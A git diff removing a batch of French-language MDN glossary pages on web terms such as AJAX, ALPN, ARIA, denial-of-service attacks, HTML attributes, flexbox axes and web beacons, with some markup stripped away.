- - diff --git a/files/fr/glossaire/adobe_flash/index.html b/files/fr/glossaire/adobe_flash/index.html deleted file mode 100644 index f84dd907f9..0000000000 --- a/files/fr/glossaire/adobe_flash/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Adobe Flash -slug: Glossaire/Adobe_Flash -tags: - - Flash - - Glossaire - - Infrastructure -translation_of: Glossary/Adobe_Flash ---- -

Adobe Flash est une technologie obsolescente, développée par Adobe Systems, qui permet de créer des applications internet riches, des graphiques vectoriels et des applications multimédias. Pour utiliser Flash au sein d'un {{Glossary("Browser","navigateur web")}}, vous devez installer le plugin adéquat.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/ajax/index.html b/files/fr/glossaire/ajax/index.html deleted file mode 100644 index eeaeb2a0bf..0000000000 --- a/files/fr/glossaire/ajax/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: AJAX -slug: Glossaire/AJAX -tags: - - AJAX - - CodingScripting - - Encodage - - Glossaire - - Infrastructure - - 'l10n:priority' -translation_of: Glossary/AJAX ---- -

Le {{Glossary("JavaScript")}} et {{Glossary("XML")}} asynchrone (AJAX) est une pratique de programmation qui consiste à construire des pages web plus complexes et plus dynamiques en utilisant une technologie connue sous le nom de {{Glossary("XHR_(XMLHttpRequest)", "XMLHttpRequest")}}.

- -

AJAX vous permet de mettre à jour simplement des parties du {{Glossary("DOM")}} d'une page web {{Glossary("HTML")}} au lieu de devoir recharger la page entière. AJAX vous permet également de travailler de manière asynchrone, c'est-à-dire que votre code continue à s'exécuter pendant que la partie de votre page web essaie de se recharger (par opposition à la méthode synchrone qui bloque l'exécution de votre code jusqu'à ce que la partie de votre page web ait fini de se recharger).

- -

Avec les sites web interactifs et les standards modernes du web, AJAX est progressivement remplacé par des fonctions dans les cadres JavaScript et l'API standard officielle {{domxref("Fetch API")}}.

- - diff --git a/files/fr/glossaire/algorithme/index.html b/files/fr/glossaire/algorithme/index.html deleted file mode 100644 index 97d46b25c5..0000000000 --- a/files/fr/glossaire/algorithme/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Algorithme -slug: Glossaire/Algorithme -tags: - - Glossaire -translation_of: Glossary/Algorithm ---- -

Un algorithme est une série d'instructions indépendantes qui exécutent une fonction.

diff --git a/files/fr/glossaire/alignment_container/index.html b/files/fr/glossaire/alignment_container/index.html deleted file mode 100644 index 6b35b6371c..0000000000 --- a/files/fr/glossaire/alignment_container/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Alignment container -slug: Glossaire/Alignment_Container -tags: - - Alignement - - CSS - - Glossaire - - bloc d'alignement -translation_of: Glossary/Alignment_Container ---- -

Le bloc d'alignement est le rectangle avec lequel le sujet d'alignement est aligné. Cela est défini par le mode de disposition ; généralement, le bloc d'alignement contient le sujet d'alignement et il adopte le mode d'ecriture de la boîte qui établit le bloc conteneur.

- -

 

- -

]En savoir plus

- - diff --git a/files/fr/glossaire/alignment_subject/index.html b/files/fr/glossaire/alignment_subject/index.html deleted file mode 100644 index 3289d952b2..0000000000 --- a/files/fr/glossaire/alignment_subject/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Alignment subject -slug: Glossaire/Alignment_Subject -translation_of: Glossary/Alignment_Subject ---- -

Dans le CSS Box Alignment (alignement des boîtes en CSS) l'alignment subject (le sujet de l'alignement) est la ou les choses alignées par la propriété.

- -

Pour {{cssxref("justify-self")}} et {{cssxref("align-self")}}, l'alignment subject est la marge de la boite sur laquelle la propriété est définie, en utilisant le mode d'écriture de cette zone.

- -

Pour {{cssxref("justify-content")}} et {{cssxref("align-content")}}, le mode d'écriture de la boîte est également utilisé. La définition du sujet de l'alignement dépend du mode de mise en page utilisé.

- -
-
Conteneurs de bloc (comprenant les cellules de tableau)
-
L'ensemble du contenu du bloc en une seule unité.
-
Conteneurs multi-colonne
-
Les boites de colonne, avec tout espacement inséré entre les boites de colonne ajoutées aux espaces de colonne appropriés.
-
Conteneurs flex
-
Pour {{cssxref("justify-content")}}, les éléments flexibles dans chaque ligne de flexible.
- Pour {{cssxref("align-content")}}, les lignes flexibles. Notez que cela n’a d’effet que sur les conteneurs flexibles multilignes.
-
Conteneurs grid
-
La grille suit l’axe approprié, avec tout espacement inséré entre les pistes ajoutées aux gouttières correspondantes. Les gouttières fusionnées sont traitées comme une seule opportunité d'insertion d'espace.
-
- -

Learn more

- - diff --git a/files/fr/glossaire/alpn/index.html b/files/fr/glossaire/alpn/index.html deleted file mode 100644 index 5a834ce08e..0000000000 --- a/files/fr/glossaire/alpn/index.html +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: ALPN -slug: Glossaire/ALPN -tags: - - ALPN - - Brouillon - - Glossaire - - NeedsContent - - TLS -translation_of: Glossary/ALPN ---- -

Application-Layer {{Glossary("Protocol")}} Negotiation (ALPN) est une extension {{Glossary("TLS")}} qui indique quel protocole de couche d'application négocie la connexion chiffrée sans nécessiter d'aller-retour supplémentaires.

- - - - - - - - - - - - - - - - - - - - - - - -
Identificateurs de protocole importants:
ProtocoleSéquence d'identification
{{Glossary("HTTP")}}/1.10x68 0x74 0x74 0x70 0x2F 0x31 0x2E 0x31 ("http/1.1")
{{Glossary("HTTP 2", "HTTP/2")}}0x68 0x32 ("h2")
HTTP/2 over cleartext {{Glossary("TCP")}}0x68 0x32 0x63 ("h2c")
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{RFC(7301)}}IETF RFCDéfinition initiale.
- -

Voir aussi

- - diff --git "a/files/fr/glossaire/am\303\251lioration_progressive/index.html" "b/files/fr/glossaire/am\303\251lioration_progressive/index.html" deleted file mode 100644 index 0e6d5d3d88..0000000000 --- "a/files/fr/glossaire/am\303\251lioration_progressive/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Amélioration progressive -slug: Glossaire/Amélioration_progressive -tags: - - Accessibilité - - Conception - - Glossaire -translation_of: Glossary/Progressive_Enhancement ---- -

L'amélioration progressive est une philosophie de conception centrée sur la fourniture d'une base de contenu et de fonctionnalités essentielles au plus grand nombre possible d'utilisateurs, tout en allant au-delà et en offrant la meilleure expérience possible aux utilisateurs des navigateurs les plus modernes capables d'exécuter tout le code requis .

- -

La détection de fonctionnalités est généralement utilisée pour déterminer si les navigateurs peuvent gérer le contenu de haut niveau ou non, les polyfills étant souvent utilisés pour intégrer des fonctionnalités manquantes avec JavaScript.

- -

Une annonce spéciale devrait être émise concernant l'accessibilité — des solutions de rechange acceptables devraient être fournies dans la mesure du possible.

- -

C'est une technique très utile qui permet aux développeurs Web de se concentrer sur la réalisation du meilleur site web possible, tout en prenant en compte la contrainte, pour ces sites web, d'être accessibles par des agents utilisateurs multiples et inconnus. {{Glossary("Graceful degradation")}} est apparenté mais différent ; il est souvent considéré comme allant dans la direction opposée à l'amélioration progressive. En réalité, les deux approches sont valides et peuvent souvent se compléter l'une l'autre.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Amélioration progressive")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/api/index.html b/files/fr/glossaire/api/index.html deleted file mode 100644 index 5a06119821..0000000000 --- a/files/fr/glossaire/api/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: API -slug: Glossaire/API -tags: - - Encodage - - Glossaire - - Infrastructure -translation_of: Glossary/API ---- -

Une API (Application Programming Interface) est un ensemble de fonctionnalités et de règles existant dans un logiciel permettant d'intéragir avec celui-ci de manière automatisée (plutôt que de passer par une interface utilisateur). L'API peut être vue comme un contrat simple passé entre le logiciel qui la propose et d'autres entités, telles que des logiciels ou matériels tiers.

- -

En développement web, une API est généralement un ensemble de fonctionnalités (par exemple : {{glossary("method","méthodes")}}, {{Glossary("property","propriétés")}}, évènements et {{Glossary("URL")}}) qu'un développeur peut utiliser dans son application pour les interactions avec les composants du navigateur de l'utilisateur, ou avec d'autres logiciels/matériels de l'ordinateur de l'utilisateur, ou avec des sites web et services tiers.

- -

Par exemple :

- -

L'API getUserMedia peut être utilisée pour capturer l'audio et la vidéo de la webcam d'un utilisateur, pour ensuite en faire ce que le développeur souhaite comme par exemple les enregistrer, les diffuser à un autre utilisateur lors d'une conférence téléphonique ou capturer des clichés à partir de la vidéo.

- -

L' API Geolocation peut être utilisée pour récupérer des informations de localisation à partir de n'importe quel service disponible sur les appareils d'un utilisateur (GPS par exemple), qui peuvent ensuite être utilisées conjointement avec l'API Google Maps pour par exemple tracer la position géographique de l'utilisateur sur une carte personnalisée et lui montrer les attractions touristiques proches de lui.

- -

L' API Twitter peut être utilisée pour récupérer les données d'un compte utilisateur Twitter, par exemple pour afficher ses derniers tweets sur une page web.

- -

L' API Web Animations peut être utilisée pour animer des parties d'une page web, par exemple pour faire bouger ou pivoter des images.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Application_programming_interface", "API")}} sur Wikipedia
    • -
- -

Référence technique

- -
    -
  • API sur MDN
    • -
diff --git a/files/fr/glossaire/apple_safari/index.html b/files/fr/glossaire/apple_safari/index.html deleted file mode 100644 index d251f8f9b6..0000000000 --- a/files/fr/glossaire/apple_safari/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Apple Safari -slug: Glossaire/Apple_Safari -tags: - - Glossaire - - Mécaniques web - - Navigation -translation_of: Glossary/Apple_Safari ---- -

Safari est un {{Glossary("Browser","navigateur web")}} développé par la société Apple. Il est installé de base sur les systèmes d'exploitation OS X et iOS.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Safari_(navigateur_web)", "Safari")}} sur Wikipédia
    • -
  • Safari sur le site d'Apple
    • -
- -

Informations techniques

- - diff --git a/files/fr/glossaire/application_context/index.html b/files/fr/glossaire/application_context/index.html deleted file mode 100644 index e74d2ac173..0000000000 --- a/files/fr/glossaire/application_context/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Contexte d'application -slug: Glossaire/application_context -tags: - - Glossaire - - scripts -translation_of: Glossary/application_context ---- -

Un contexte d'application est un contexte de navigation de haut niveau lié à un manifeste.

- -

Le contexte d'application peut être créé suite à une requête à l'agent utilisateur visant à naviguer vers un lien en profondeur. Dans ce cas, l'agent utilisateur doit immédiatement naviguer vers le lien en profondeur avec l'option de remplacement (replacement) activée. Autrement, quand le contexte d'application est créé, l'agent utilisateur doit immédiatement naviguer vers l'URL de départ avec cette même option activée.

- -

Attention, l'URL de départ n'est pas nécessairement la valeur du membre start_url : l'utilisateur ou l'agent utilisateur pourraient l'avoir modifié lorsque l'application a été ajoutée à l'écran d'accueil ou mise en favoris.

diff --git a/files/fr/glossaire/applications_web_modernes/index.html b/files/fr/glossaire/applications_web_modernes/index.html deleted file mode 100644 index fcf21a04cf..0000000000 --- a/files/fr/glossaire/applications_web_modernes/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Applications web modernes -slug: Glossaire/applications_web_modernes -tags: - - Applications - - Glossaire -translation_of: Glossary/Modern_web_apps ---- -

Voir {{glossary("Progressive web apps","Applications web progressistes")}}

diff --git a/files/fr/glossaire/architecture_de_l_information/index.html b/files/fr/glossaire/architecture_de_l_information/index.html deleted file mode 100644 index 40d99ed013..0000000000 --- a/files/fr/glossaire/architecture_de_l_information/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Architecture de l'information -slug: Glossaire/Architecture_de_l_information -tags: - - Architecture - - Conception - - Glossaire - - Information -translation_of: Glossary/Information_architecture ---- -

L'architecture de l'information, appliquée à la conception et au développement de sites web, consiste à organiser l'information / le contenu / la fonctionnalité d'un site web de manière à offrir la meilleure expérience possible, les informations et les services étant facilement utilisables et trouvables.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia","Architecture_de_l'information","Architecture de l'information")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/argument/index.html b/files/fr/glossaire/argument/index.html deleted file mode 100644 index dbc1c746c8..0000000000 --- a/files/fr/glossaire/argument/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Argument -slug: Glossaire/Argument -tags: - - Encodage - - Glossaire - - JavaScript -translation_of: Glossary/Argument ---- -

Un argument est une {{Glossary("Value","valeur")}}  ({{Glossary("Primitive", "primitive")}} ou {{Glossary("Object", "objet")}}) passée en tant qu'entrée à une {{Glossary("Function", "fonction")}}.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Argument_(informatique)", "Argument")}} sur Wikipédia
    • -
- -

Informations techniques

- -
    -
  • L'objet {{jsxref("Fonctions/arguments","arguments")}} en {{Glossary("JavaScript")}}
    • -
diff --git a/files/fr/glossaire/aria/index.html b/files/fr/glossaire/aria/index.html deleted file mode 100644 index ca7c89c670..0000000000 --- a/files/fr/glossaire/aria/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: ARIA -slug: Glossaire/ARIA -tags: - - Accessibilité - - Glossaire -translation_of: Glossary/ARIA ---- -

ARIA (Accessible Rich {{glossary("Internet")}} Applications) est une spécification technique du {{Glossary("W3C")}}. ARIA décrit comment ajouter de la sémantique et d'autres métadonnées à du contenu {{Glossary("HTML")}} dans le but de répondre aux besoins des technologies d'assistance.

- -

Par exemple, vous pouvez ajouter l'attribut  role="alert" à un élément {{HTMLElement("p")}} pour notifier à un utilisateur malvoyant l'importance et l'urgence de l'information (pour un utilisateur sans problème de vue, cette information pourrait être mise en exergue par un texte coloré différemment).

- -

Pour approfondir

- - diff --git a/files/fr/glossaire/arpa/index.html b/files/fr/glossaire/arpa/index.html deleted file mode 100644 index c16d40da33..0000000000 --- a/files/fr/glossaire/arpa/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: ARPA -slug: Glossaire/ARPA -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/ARPA ---- -

.arpa (address and routing parameter area) est un {{glossary("TLD","domaine de premier niveau")}} utilisé dans des objectifs relatifs à l'infrastructure d'Internet, en particulier des recherches DNS inverses (c'est-à-dire, trouver le {{glossary( 'domain name' ,'nom de domaine')}} d'une {{glossary( "IP address" ,"adresse IP")}} donnée).

- -

Pour en savoir plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/arpanet/index.html b/files/fr/glossaire/arpanet/index.html deleted file mode 100644 index 4965ecaf94..0000000000 --- a/files/fr/glossaire/arpanet/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Arpanet -slug: Glossaire/Arpanet -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/Arpanet ---- -

ARPAnet (advanced research projects agency network) était l'un des premiers réseaux informatiques, construit en 1969 comme un support robuste pour transmettre des données militaires sensibles et pour relier des groupes à la pointe de la recherche à travers le territoire des États-Unis. ARPAnet utilisait d'abord NCP (network control protocol) puis par la suite la première version de la suite des protocoles Internet ou {{glossary("TCP")}}/{{glossary("IPv6","IP")}}, ce qui a fait d'ARPAnet une partie importante du naissant {{glossary("Internet")}}. ARPAnet a fermé au début des années 90.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Arpanet")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/array/index.html b/files/fr/glossaire/array/index.html deleted file mode 100644 index 0f203e6815..0000000000 --- a/files/fr/glossaire/array/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Tableau (Array) -slug: Glossaire/array -tags: - - Encodage - - Glossaire - - JavaScript - - Liste - - Programmation - - Tableau -translation_of: Glossary/array ---- -

En anglais, un array, parfois appelé en français « tableau » ou « liste », est une collection de données ({{Glossary("Primitive","primitives")}} ou {{Glossary("Object","objets")}} selon le langage). Ils sont utilisés pour stocker plusieurs valeurs dans une seule variable. Ceci est comparé à une variable qui ne peut stocker qu'une seule valeur.

- -

Chaque élément d'un array a un numéro qui lui est associé, appelé index numérique, qui permet d'y accéder. En JavaScript, ils commencent à l'index zéro et peuvent être manipulés avec différentes {{Glossary ("Method","méthodes")}}.

- -

À quoi ressemble-t-il en JavaScript ?

- -
var myArray = [1, 2, 3, 4];
-
-var catNamesArray = ["Jacqueline", "Sophia", "Autumn"];
-
-//Des arrays en JavaScript peuvent contenir différents types de données, comme indiqué ci-dessus.
-
- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Tableau_(structure_de_données)","Array")}} on Wikipedia
    • -
- -

Informations techniques

- -
    -
  • {{jsxref("Array")}} en JavaScript sur MDN
    • -
diff --git a/files/fr/glossaire/ascii/index.html b/files/fr/glossaire/ascii/index.html deleted file mode 100644 index e758fcac3e..0000000000 --- a/files/fr/glossaire/ascii/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: ASCII -slug: Glossaire/ASCII -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/ASCII ---- -

ASCII (American Standard Code for Information Interchange) est l'une des méthodes d'encodage utilisées par les ordinateurs pour convertir les lettres, les nombres, la ponctuation et les codes de contrôle sous forme numérique. Depuis 2007, l'{{Glossary("UTF-8")}} est privilégié sur internet.

- -

En savoir plus 

- -

Connaissance générale

- -

{{Interwiki("wikipedia", "ASCII")}} sur Wikipedia

diff --git a/files/fr/glossaire/asynchronous/index.html b/files/fr/glossaire/asynchronous/index.html deleted file mode 100644 index fc2a704148..0000000000 --- a/files/fr/glossaire/asynchronous/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Asynchrone -slug: Glossaire/Asynchronous -tags: - - Glossaire - - Mécanismes web - - Web -translation_of: Glossary/Asynchronous ---- -

Asynchrone fait référence à un environnement de communication où chaque partie reçoit et traite les messages lorsque c'est possible ou plus pratique, au lieu de le faire au même moment.

- -

Il peut être utilisé pour décrire un environnement de communication humain comme le courriel : l'expéditeur envoie un courriel et le destinataire se contente d'y répondre quand cela lui convient ; il n'a pas à répondre immédiatement.

- -

Il peut également être utilisé pour décrire un environnement de communication informatique, par exemple {{domxref("Ajax")}} est un mécanisme asynchrone pour demander de petits bits de données sur HTTP ; le résultat est renvoyé lorsque la réponse est complète, pas immédiatement.

- -

En apprendre plus

- -

Référence technique

- - diff --git a/files/fr/glossaire/atag/index.html b/files/fr/glossaire/atag/index.html deleted file mode 100644 index 1c3c9731b0..0000000000 --- a/files/fr/glossaire/atag/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: ATAG -slug: Glossaire/ATAG -tags: - - ATAG - - Accessibilité - - Conception accessibilité - - Glossaire - - Règles de création d'outils accessibles -translation_of: Glossary/ATAG ---- -

Authoring Tool Accessibility Guidelines (ATAG) est une recommandation {{Glossary("W3C")}} pour construire des outils de création-accessibilité qui produisent des contenus accessibles.

- -

Pour approfondir

- -

Culture générale

- - - -

Informations techniques

- - diff --git a/files/fr/glossaire/attaque_dos/index.html b/files/fr/glossaire/attaque_dos/index.html deleted file mode 100644 index 0b4e057c27..0000000000 --- a/files/fr/glossaire/attaque_dos/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Attaque DoS -slug: Glossaire/Attaque_DOS -tags: - - Glossaire - - Sécurité -translation_of: Glossary/DOS_attack ---- -

Le déni de service ou DoS (Denial of Service) est une attaque réseau qui empêche l'utilisation légitime des ressources d'un {{glossary("serveur")}} en surchargeant celui-ci de requêtes.

- -

Les ordinateurs disposent de ressources limitées, puissance de calcul ou mémoire par exemple. Lorsqu'elles atteignent leurs limites, le programme peut se bloquer ou planter, ce qui le rend indisponible. Une attaque DoS consiste en diverses techniques pour saturer ces ressources et faire en sorte qu'un serveur ou un réseau ne soit plus disponible pour ses utilisateurs légitimes, ou au moins pour faire fonctionner le serveur plus lentement.

- -

Types d'attaques DoS

- -

Les attaques DoS sont plus une catégorie d'attaques qu'un type particulier d'attaque. Voici une liste non exhaustive de types d'attaques DoS :

- -
    -
  • attaque sur la bande passante
    • -
  • saturation par des requêtes sur des services
    • -
  • attaque SYN flooding
    • -
  • attaque ICMP flood
    • -
  • attaque pair-à-pair
    • -
  • attaque DoS permanente
    • -
  • attaque par saturation au niveau application
    • -
- -

Pour approfondir

- -
    -
  • {{interwiki("wikipedia", "Attaque par déni de service", "Attaque par déni de service")}} sur Wikipédia
    • -
  • Déni de service sur OWASP
    • -
  • {{Glossary("Distributed Denial of Service","DDoS")}}
    • -
diff --git a/files/fr/glossaire/attribut/index.html b/files/fr/glossaire/attribut/index.html deleted file mode 100644 index 54926f8b1f..0000000000 --- a/files/fr/glossaire/attribut/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Attribut -slug: Glossaire/Attribut -tags: - - Encodage - - Glossaire - - HTML -translation_of: Glossary/Attribute ---- -

Un attribut vient compléter un {{Glossary("tag")}}. Sa présence peut être requise ou facultative. Il peut fournir des méta-informations ou changer le comportement du tag. La syntaxe est name=value où name est l'identificateur de l'attribut et value sa valeur attribuée.

- -
<!-- Voici un exemple de tag sans attribut -->
-<h2>Titre</h2>
-
-<!-- Le même tag avec un attribut -->
-<!-- Le titre apparaît désormais sur un fond jaune -->
-<h2 style="background-color:yellow";>Titre</h2>
- -

On peut aussi trouver des attributs sans valeur quand elle n'est pas nécessaire.

- -
<!-- Un tag avec un attribut indiquant que le champ est requis -->
-<input type="text" required>
-
-<!-- Cette notation fonctionne aussi -->
-<input type="text" required="required">
- -

Pour approfondir

- -

Informations techniques

- - diff --git a/files/fr/glossaire/attribut_global/index.html b/files/fr/glossaire/attribut_global/index.html deleted file mode 100644 index 3ff9306fa4..0000000000 --- a/files/fr/glossaire/attribut_global/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Attribut universel -slug: Glossaire/Attribut_global -tags: - - Attribut - - Glossaire - - HTML -translation_of: Web/HTML/Global_attributes -translation_of_original: Glossary/Global_attribute ---- -

Les attributs universels sont des {{glossary("attribute","attributs")}} qui peuvent être utilisés avec tous les {{glossary("element","éléments")}} (bien que parfois sans effet sur certains d'entre-eux).

- -

Un petit nombre d'attributs peut être utilisé sur tout élément HTML :

- -
    -
  • dir, lang, style, id, class, tabindex, accesskey, title, hidden, data-*, contextmenu, contenteditable, translate, spellcheck, draggable, dropzone, itemid, itemprop, itemref, itemscope et itemtype.
    • -
  • xml:lang et xml:base, dépréciés, hérités des spécifications {{glossary("XHTML")}} et conservés pour des raisons de compatibilité.
    • -
  • Les multiples attributs aria-*, pour améliorer l'accessibilité.
    • -
  • Les attributs de gestion d'événement : onabort, onautocomplete, onautocompleteerror, onblur, oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncontextmenu, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondragstart, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onloadstart, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onsort, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting.
    • -
- -

Pour approfondir

- - diff --git a/files/fr/glossaire/axe_de_grille/index.html b/files/fr/glossaire/axe_de_grille/index.html deleted file mode 100644 index 0eba3c87b3..0000000000 --- a/files/fr/glossaire/axe_de_grille/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Axe de grille -slug: Glossaire/Axe_de_grille -tags: - - CSS - - Glossaire - - Grilles -translation_of: Glossary/Grid_Axis ---- -

La grille CSS est une méthode de mise en page bidimensionnelle permettant une présentation du contenu en lignes et colonnes. Par conséquent, dans toute grille, nous avons deux axes. L'axe du "bloc" ou de la colonne et l'axe "en ligne" ou de la ligne.

- -

C'est sur ces axes que les items peuvent être alignés et justifiés en utilisant les propriétés définies dans les spécifications de l'alignement des boîtes.

- -

En CSS l'axe des colonnes (ou des blocs) est l'axe utilisé lors de la disposition des blocs de texte . Si vous avez 2 paragraphes et travaillez de droite à gauche, du haut vers le bas, ils s'alignent les uns au-dessus des autres, sur l'axe du bloc.

- -

Diagram showing the block axis in CSS Grid Layout.

- -

L'axe de la ligne (ou en ligne) parcourt l'axe des blocs et représente la direction dans laquelle le texte est déployé. Ce sont nos lignes dans la mise en page des grilles CSS.

- -

Diagram showing the inline axis in CSS Grid Layout.

- -

La direction physique de ces axes peut changer en fonction du mode d'écriture du document.

- -

En apprendre plus

- -

En lire plus

- - diff --git a/files/fr/glossaire/axe_principal/index.html b/files/fr/glossaire/axe_principal/index.html deleted file mode 100644 index 35acf19fae..0000000000 --- a/files/fr/glossaire/axe_principal/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Axe principal -slug: Glossaire/Axe_principal -tags: - - CSS - - Glossaire - - axes - - flexbox -translation_of: Glossary/Main_Axis ---- -

L'axe principal d'une {{glossary("flexbox")}} est déterminé par la direction définie dans la propriété {{cssxref("flex-direction")}}. Il y a 4 valeurs possibles pour flex-direction. Ce sont :

- -
    -
  • row (ligne)
    • -
  • row-reverse
    • -
  • column (colonne)
    • -
  • column-reverse
    • -
- -

Si vous choisissez row ou row-reverse votre axe principal passera alors le long de la ligne dans le sens de la direction définie.

- -

In this image the flex-direction is row which forms the main axis

- -

Choisissez column ou column-reverse et votre axe principal parcourt du début au pied de la page dans la direction du bloc.

- -

- -

Sur l'axe principal, vous pouvez contrôler le dimensionnement des éléments flexibles en ajoutant tout espace disponible aux éléments eux-mêmes, par le biais des propriétés flex sur les éléments. Ou, vous pouvez contrôler l'espace entre et autour des éléments en utilisant la propriété justify-content.

- -

En apprendre plus

- -

Références de la propriété

- -
-
    -
  • {{cssxref("flex-basis")}}
    • -
  • {{cssxref("flex-direction")}}
    • -
  • {{cssxref("flex-grow")}}
    • -
  • {{cssxref("flex-shrink")}}
    • -
  • {{cssxref("justify-content")}}
    • -
  • {{cssxref("flex")}}
    • -
-
- -

En lire plus

- - diff --git a/files/fr/glossaire/axe_transversal/index.html b/files/fr/glossaire/axe_transversal/index.html deleted file mode 100644 index 5084de43ea..0000000000 --- a/files/fr/glossaire/axe_transversal/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Axe transversal -slug: Glossaire/Axe_transversal -tags: - - CSS - - Glossaire - - axes -translation_of: Glossary/Cross_Axis ---- -

L'axe transversal d'une {{glossary("flexbox")}} traverse l'{{glossary("Main Axis","axe principal")}}, donc si la {{glossary("flex-direction")}} et l'axe principal sont row (ligne) ou row-reverse l'axe transversal est en colonne.

- -

The cross axis runs down the column

- -

Si l'axe principal est column ou column-reverse, l'axe transversal est donc en ligne.

- -

The cross axis runs along the row.

- -

L'alignement des articles sur l'axe transversal est réalisé avec la propriété align-items sur le conteneur flexible ou la propriété align-self sur les éléments individuels. Dans le cas d'un conteneur flexible multi-lignes, avec un espace supplémentaire sur l'axe transversal, vous pouvez utiliser align-content pour contrôler l'espacement des lignes.

- -

En apprendre plus

- -

Références de la propriété

- -
-
    -
  • {{cssxref("align-content")}}
    • -
  • {{cssxref("align-items")}}
    • -
  • {{cssxref("align-self")}}
    • -
  • {{cssxref("flex-wrap")}}
    • -
  • {{cssxref("flex-direction")}}
    • -
  • {{cssxref("flex")}}
    • -
-
- -

En lire plus

- - diff --git a/files/fr/glossaire/balise/index.html b/files/fr/glossaire/balise/index.html deleted file mode 100644 index 9d8b416447..0000000000 --- a/files/fr/glossaire/balise/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Balise -slug: Glossaire/Balise -tags: - - Glossaire - - HTML - - Introduction -translation_of: Glossary/Tag ---- -

En {{Glossary("HTML")}} une balise est utilisée pour créer un {{Glossary("element")}}.  Le nom d'un élément HTML est le nom utilisé dans des chevrons comme par exemple <p> pour un paragraphe.  Notez que le nom de la balise fermante est précédé par un caractère barre oblique, "</p>", et que pour les éléments vides la balise de fin n'est pas nécessaire ni permise. Si les attributs ne sont pas mentionnés, les valeurs par défaut s'appliquent pour chaque cas.

- -

En savoir plus

- -

Culture générale

- - - -

Référence technique

- - diff --git a/files/fr/glossaire/bandwidth/index.html b/files/fr/glossaire/bandwidth/index.html deleted file mode 100644 index a0e833134b..0000000000 --- a/files/fr/glossaire/bandwidth/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Bande passante -slug: Glossaire/Bandwidth -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/Bandwidth ---- -

La bande passante est la mesure de la quantité d'informations qui peut passer dans une connexion de données sur une période de temps donnée. Elle est généralement exprimée en multiples de bits-par-seconde (bps), par exemple mégabits-par-seconde (Mbps) ou gigabits-par-seconde (Gbps).

- -

Pour en savoir plus

- -
    -
  • {{Interwiki("wikipedia", "Bande passante")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/beacon/index.html b/files/fr/glossaire/beacon/index.html deleted file mode 100644 index 905566d8eb..0000000000 --- a/files/fr/glossaire/beacon/index.html +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: beacon -slug: Glossaire/beacon -translation_of: Glossary/beacon ---- -

Un beacon Web est un petit objet, tel qu'un gif de 1 pixel, intégré au balisage, utilisé pour communiquer des informations au serveur Web ou à des serveurs tiers. Les beacons sont généralement inclus pour fournir des informations sur l'utilisateur à des fins statistiques. Les beacons sont souvent inclus dans des scripts tiers pour collecter des données utilisateur, des mesures de performance et des rapports d'erreurs.

- -

Il existe un projet de spécification de beacon W3C pour standardiser le beacon en tant qu'interface pour transférer de manière asynchrone des données HTPP de l'agent utilisateur vers un serveur Web avant le chargement de la page sans impact négatif sur les performances.

- -

Voir aussi

